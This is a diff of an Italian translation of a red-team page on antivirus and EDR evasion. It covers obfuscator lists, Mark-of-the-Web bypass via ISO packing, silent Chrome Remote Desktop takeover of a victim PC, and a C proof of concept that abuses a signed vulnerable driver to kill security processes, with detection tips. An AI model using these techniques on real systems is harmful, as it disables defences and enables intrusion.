- [**obfy**](https://github.com/fritzone/obfy): Aggiungi uno strato di operazioni offuscate generate dal framework di metaprogrammazione C++ che renderà un po' più difficile la vita a chi vuole craccare l'applicazione.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz è un offuscatore binario x64 in grado di offuscare vari file pe diversi, inclusi: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame è un semplice motore di codice metamorfico per eseguibili arbitrari.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator è un framework di offuscamento del codice a grana fine per linguaggi supportati da LLVM utilizzando ROP (programmazione orientata al ritorno). ROPfuscator offusca un programma a livello di codice assembly trasformando istruzioni normali in catene ROP, ostacolando la nostra concezione naturale del flusso di controllo normale.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator è un framework di offuscamento del codice a grana fine per linguaggi supportati da LLVM utilizzando ROP (programmazione orientata al ritorno). ROPfuscator offusca un programma a livello di codice assembly trasformando istruzioni normali in catene ROP, ostacolando la nostra concezione naturale del normale flusso di controllo.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt è un PE Crypter .NET scritto in Nim.
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor è in grado di convertire EXE/DLL esistenti in shellcode e poi caricarli.
|
||||
|
||||
@ -243,13 +249,13 @@ Microsoft Defender SmartScreen è un meccanismo di sicurezza destinato a protegg
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen funziona principalmente con un approccio basato sulla reputazione, il che significa che le applicazioni scaricate raramente attiveranno SmartScreen, avvisando e impedendo all'utente finale di eseguire il file (anche se il file può comunque essere eseguito cliccando su Maggiori informazioni -> Esegui comunque).
|
||||
SmartScreen funziona principalmente con un approccio basato sulla reputazione, il che significa che le applicazioni scaricate raramente attiveranno SmartScreen, avvisando e impedendo all'utente finale di eseguire il file (anche se il file può ancora essere eseguito cliccando su Maggiori informazioni -> Esegui comunque).
|
||||
|
||||
**MoTW** (Mark of The Web) è un [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) con il nome di Zone.Identifier che viene creato automaticamente al momento del download di file da internet, insieme all'URL da cui è stato scaricato.
|
||||
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Controllo dello Zone.Identifier ADS per un file scaricato da internet.</p></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> È importante notare che gli eseguibili firmati con un certificato di firma **fidato** **non attiveranno SmartScreen**.
|
||||
|
||||
Un modo molto efficace per impedire che i tuoi payload ricevano il Mark of The Web è imballarli all'interno di qualche tipo di contenitore come un ISO. Questo accade perché il Mark-of-the-Web (MOTW) **non può** essere applicato a volumi **non NTFS**.
|
||||
@ -312,10 +318,10 @@ Si tratta di iniettare il codice dannoso di post-exploitation **nel proprio proc
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Se vuoi leggere di più sul caricamento di assembly C#, ti consiglio di controllare questo articolo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) e il loro InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
> [!TIP]
|
||||
> Se vuoi leggere di più sul caricamento di assembly C#, controlla questo articolo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) e il loro InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
|
||||
Puoi anche caricare assembly C# **da PowerShell**, dai un'occhiata a [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) e al video di [S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
Puoi anche caricare assembly C# **da PowerShell**, controlla [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) e il video di [S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
|
||||
## Utilizzo di Altri Linguaggi di Programmazione
|
||||
|
||||
@ -323,7 +329,7 @@ Come proposto in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.co
|
||||
|
||||
Consentendo l'accesso ai binari dell'interprete e all'ambiente sulla condivisione SMB puoi **eseguire codice arbitrario in questi linguaggi all'interno della memoria** della macchina compromessa.
|
||||
|
||||
Il repo indica: Defender continua a scansionare gli script, ma utilizzando Go, Java, PHP ecc. abbiamo **maggiore flessibilità per bypassare le firme statiche**. Testare con script di reverse shell casuali non offuscati in questi linguaggi si è rivelato un successo.
|
||||
Il repo indica: Defender continua a scansionare gli script, ma utilizzando Go, Java, PHP ecc. abbiamo **maggiore flessibilità per bypassare le firme statiche**. Testare con script di reverse shell casuali non offuscati in questi linguaggi ha avuto successo.
|
||||
|
||||
## TokenStomping
|
||||
|
||||
@ -335,6 +341,16 @@ Per prevenire ciò, Windows potrebbe **impedire ai processi esterni** di ottener
|
||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||
- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
|
||||
|
||||
## Utilizzo di Software Affidabile
|
||||
|
||||
### Chrome Remote Desktop
|
||||
|
||||
Come descritto in [**questo post del blog**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), è facile semplicemente distribuire Chrome Remote Desktop nel PC della vittima e poi usarlo per prenderne il controllo e mantenere la persistenza:
|
||||
1. Scarica da https://remotedesktop.google.com/, clicca su "Imposta tramite SSH", e poi clicca sul file MSI per Windows per scaricare il file MSI.
|
||||
2. Esegui l'installer in modo silenzioso nella vittima (richiesta di amministratore): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Torna alla pagina di Chrome Remote Desktop e clicca su avanti. La procedura guidata ti chiederà quindi di autorizzare; clicca sul pulsante Autorizza per continuare.
|
||||
4. Esegui il parametro fornito con alcune modifiche: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Nota il parametro pin che consente di impostare il pin senza utilizzare l'interfaccia grafica).
|
||||
|
||||
## Evasione Avanzata
|
||||
|
||||
L'evasione è un argomento molto complicato, a volte devi tenere conto di molte diverse fonti di telemetria in un solo sistema, quindi è praticamente impossibile rimanere completamente non rilevato in ambienti maturi.
|
||||
@ -357,12 +373,12 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
|
||||
### **Controlla quali parti Defender trova come dannose**
|
||||
|
||||
Puoi utilizzare [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) che **rimuoverà parti del binario** fino a **scoprire quale parte Defender** trova come dannosa e te lo separerà.\
|
||||
Puoi utilizzare [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) che **rimuoverà parti del binario** fino a **scoprire quale parte Defender** trova come dannosa e te lo dividerà.\
|
||||
Un altro strumento che fa **la stessa cosa è** [**avred**](https://github.com/dobin/avred) con un'offerta web aperta che fornisce il servizio in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
|
||||
### **Telnet Server**
|
||||
|
||||
Fino a Windows 10, tutte le versioni di Windows venivano fornite con un **server Telnet** che potevi installare (come amministratore) eseguendo:
|
||||
Fino a Windows 10, tutti i Windows venivano forniti con un **server Telnet** che potevi installare (come amministratore) facendo:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
@ -570,8 +586,49 @@ https://github.com/TheWover/donut
|
||||
# Vulcan
|
||||
https://github.com/praetorian-code/vulcan
|
||||
```
|
||||
### Di più
|
||||
### More
|
||||
|
||||
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space
|
||||
|
||||
Storm-2603 ha sfruttato una piccola utility da console nota come **Antivirus Terminator** per disabilitare le protezioni degli endpoint prima di rilasciare ransomware. Lo strumento porta il **proprio driver vulnerabile ma *firmato*** e lo sfrutta per emettere operazioni privilegiate del kernel che nemmeno i servizi AV Protected-Process-Light (PPL) possono bloccare.
|
||||
|
||||
Punti chiave
|
||||
1. **Driver firmato**: Il file consegnato su disco è `ServiceMouse.sys`, ma il binario è il driver legittimamente firmato `AToolsKrnl64.sys` del “System In-Depth Analysis Toolkit” di Antiy Labs. Poiché il driver porta una firma Microsoft valida, si carica anche quando l'Applicazione di Enforcement della Firma del Driver (DSE) è abilitata.
|
||||
2. **Installazione del servizio**:
|
||||
```powershell
|
||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
||||
sc start ServiceMouse
|
||||
```
|
||||
La prima riga registra il driver come **servizio del kernel** e la seconda lo avvia in modo che `\\.\ServiceMouse` diventi accessibile dal livello utente.
|
||||
3. **IOCTL esposti dal driver**
|
||||
| Codice IOCTL | Capacità |
|
||||
|-----------:|-----------------------------------------|
|
||||
| `0x99000050` | Termina un processo arbitrario per PID (usato per uccidere i servizi Defender/EDR) |
|
||||
| `0x990000D0` | Elimina un file arbitrario su disco |
|
||||
| `0x990001D0` | Scarica il driver e rimuove il servizio |
|
||||
|
||||
Prova di concetto minima in C:
|
||||
```c
|
||||
#include <windows.h>
|
||||
|
||||
int main(int argc, char **argv){
|
||||
DWORD pid = strtoul(argv[1], NULL, 10);
|
||||
HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL);
|
||||
CloseHandle(hDrv);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
4. **Perché funziona**: BYOVD salta completamente le protezioni in modalità utente; il codice che viene eseguito nel kernel può aprire processi *protetti*, terminarli o manomettere oggetti del kernel indipendentemente da PPL/PP, ELAM o altre funzionalità di hardening.
|
||||
|
||||
Rilevamento / Mitigazione
|
||||
• Abilitare l'elenco di blocco dei driver vulnerabili di Microsoft (`HVCI`, `Smart App Control`) in modo che Windows rifiuti di caricare `AToolsKrnl64.sys`.
|
||||
• Monitorare la creazione di nuovi servizi *del kernel* e avvisare quando un driver viene caricato da una directory scrivibile a livello mondiale o non presente nell'elenco di autorizzazione.
|
||||
• Prestare attenzione agli handle in modalità utente per oggetti dispositivo personalizzati seguiti da chiamate `DeviceIoControl` sospette.
|
||||
|
||||
## References
|
||||
|
||||
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user